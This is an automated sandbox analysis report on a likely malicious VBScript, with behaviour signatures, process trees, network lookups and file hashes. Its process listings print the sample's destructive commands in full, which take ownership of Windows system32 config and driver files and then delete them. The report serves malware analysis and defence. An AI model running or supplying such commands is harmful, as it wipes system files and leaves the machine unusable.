Analysis Overview
SHA256
7c2461116f624799741f4983fb1bbb69c7c0024e7b258d8c79208669a75a69ad
Threat Level: Likely malicious
The file target.vbs was found to be: Likely malicious.
Malicious Activity Summary
Possible privilege escalation attempt
Modifies file permissions
Checks computer location settings
Enumerates physical storage devices
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Modifies registry class
Opens file in notepad (likely ransom note)
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-08-15 21:37
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-08-15 21:37
Reported
2024-08-15 21:39
Platform
win7-20240704-en
Max time kernel
121s
Max time network
121s
Command Line
Signatures
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Enumerates physical storage devices
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\takeown.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\system32\cmd.exe
cmd /c "copy C:\Users\Admin\AppData\Local\Temp\target.wsf thescript.vbs && start thescript.vbs"
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\thescript.vbs"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c takeown /f c:\windows\system32\config\* >nul && icacls c:\windows\system32\config\* /grant everyone:(f) >nul && del /s /q c:\windows\system32\config\* >nul 2>&1
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c takeown /f c:\windows\system32\drivers\* >nul && icacls c:\windows\system32\drivers\* /grant everyone:(f) >nul && del /s /q c:\windows\system32\drivers\* >nul 2>&1
C:\Windows\system32\takeown.exe
takeown /f c:\windows\system32\drivers\*
C:\Windows\system32\takeown.exe
takeown /f c:\windows\system32\config\*
C:\Windows\system32\icacls.exe
icacls c:\windows\system32\config\* /grant everyone:(f)
C:\Windows\system32\icacls.exe
icacls c:\windows\system32\drivers\* /grant everyone:(f)
Network
Files
C:\Users\Admin\AppData\Local\Temp\thescript.vbs
| MD5 | 6425a144c5de5bc3bcd5865809150a0d |
| SHA1 | 257d00e71e71832c90fc494b5121df3a8149560d |
| SHA256 | 7c2461116f624799741f4983fb1bbb69c7c0024e7b258d8c79208669a75a69ad |
| SHA512 | 95dd1168240a1e2011d45d2efe406ef88ee90140c97e9ec585fdd27ce15aa75a1479beae143a6d9717ed29002d818f165a2ad8910bc3b9ccc5d847024a173e34 |
C:\Users\Admin\Desktop\ConvertFromUndo.vbs
| MD5 | ece02545122cc48c9d8afaf3f94dd04f |
| SHA1 | 8e07b6da685faad07f8413230a95ce0ae8987e0d |
| SHA256 | 5098743dbbd65767e7795bb819c00d091a749f0905fe0d496a06fc192efd0206 |
| SHA512 | e6c8df55b9845ea00301b0560321489cf064bfc02793495942e216a25f76b809a61d90ab0ce8ce4e514f626f368861c9f9b7814e3730e6482f0e2f40e88a2eb5 |
Analysis: behavioral2
Detonation Overview
Submitted
2024-08-15 21:37
Reported
2024-08-15 21:39
Platform
win10v2004-20240802-en
Max time kernel
149s
Max time network
151s
Command Line
Signatures
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\cmd.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Enumerates physical storage devices
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings | C:\Windows\system32\cmd.exe | N/A |
Opens file in notepad (likely ransom note)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\Notepad.exe | N/A |
| N/A | N/A | C:\Windows\System32\Notepad.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\takeown.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\system32\cmd.exe
cmd /c "copy C:\Users\Admin\AppData\Local\Temp\target.wsf thescript.vbs && start thescript.vbs"
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\thescript.vbs"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c takeown /f c:\windows\system32\config\* >nul && icacls c:\windows\system32\config\* /grant everyone:(f) >nul && del /s /q c:\windows\system32\config\* >nul 2>&1
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c takeown /f c:\windows\system32\drivers\* >nul && icacls c:\windows\system32\drivers\* /grant everyone:(f) >nul && del /s /q c:\windows\system32\drivers\* >nul 2>&1
C:\Windows\system32\takeown.exe
takeown /f c:\windows\system32\drivers\*
C:\Windows\system32\takeown.exe
takeown /f c:\windows\system32\config\*
C:\Windows\system32\icacls.exe
icacls c:\windows\system32\config\* /grant everyone:(f)
C:\Windows\system32\icacls.exe
icacls c:\windows\system32\drivers\* /grant everyone:(f)
C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
C:\Windows\System32\Notepad.exe
"C:\Windows\System32\Notepad.exe" C:\Users\Admin\AppData\Local\Temp\target.wsf
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\target.wsf"
C:\Windows\System32\Notepad.exe
"C:\Windows\System32\Notepad.exe" C:\Users\Admin\AppData\Local\Temp\thescript.vbs
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\ConfirmResize.vbs"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 97.17.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 23.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 209.205.72.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 134.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 228.249.119.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.165.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 18.31.95.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 55.36.223.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 30.243.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
Files
C:\Users\Admin\AppData\Local\Temp\thescript.vbs
| MD5 | 6425a144c5de5bc3bcd5865809150a0d |
| SHA1 | 257d00e71e71832c90fc494b5121df3a8149560d |
| SHA256 | 7c2461116f624799741f4983fb1bbb69c7c0024e7b258d8c79208669a75a69ad |
| SHA512 | 95dd1168240a1e2011d45d2efe406ef88ee90140c97e9ec585fdd27ce15aa75a1479beae143a6d9717ed29002d818f165a2ad8910bc3b9ccc5d847024a173e34 |
C:\Users\Admin\Desktop\desktop.vbs
| MD5 | ece02545122cc48c9d8afaf3f94dd04f |
| SHA1 | 8e07b6da685faad07f8413230a95ce0ae8987e0d |
| SHA256 | 5098743dbbd65767e7795bb819c00d091a749f0905fe0d496a06fc192efd0206 |
| SHA512 | e6c8df55b9845ea00301b0560321489cf064bfc02793495942e216a25f76b809a61d90ab0ce8ce4e514f626f368861c9f9b7814e3730e6482f0e2f40e88a2eb5 |
C:\Users\Admin\Music\SuspendProtect.mp3
| MD5 | 81051bcc2cf1bedf378224b0a93e2877 |
| SHA1 | ba8ab5a0280b953aa97435ff8946cbcbb2755a27 |
| SHA256 | 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6 |
| SHA512 | 1b302a2f1e624a5fb5ad94ddc4e5f8bfd74d26fa37512d0e5face303d8c40eee0d0ffa3649f5da43f439914d128166cb6c4774a7caa3b174d7535451eb697b5d |
C:\Users\Admin\AppData\Local\Temp\target.wsf
| MD5 | 7efc82c24c2ce07d6e37f750cc9aa312 |
| SHA1 | 24641d0653f3b3b850b25319bdae26bf1a46040a |
| SHA256 | 78d136408cfd4790b861a67f1a7acb826c7c7e8ee75aa7fa5b60ae6e33216d4f |
| SHA512 | a1a3ee6fa3bfede92806362447b787a29b3ad1e9f64322eec4c8ef38e7a3742eef843373da1461512bc7ee83953344ff67fff2c46eb57fc2feca9e632847edde |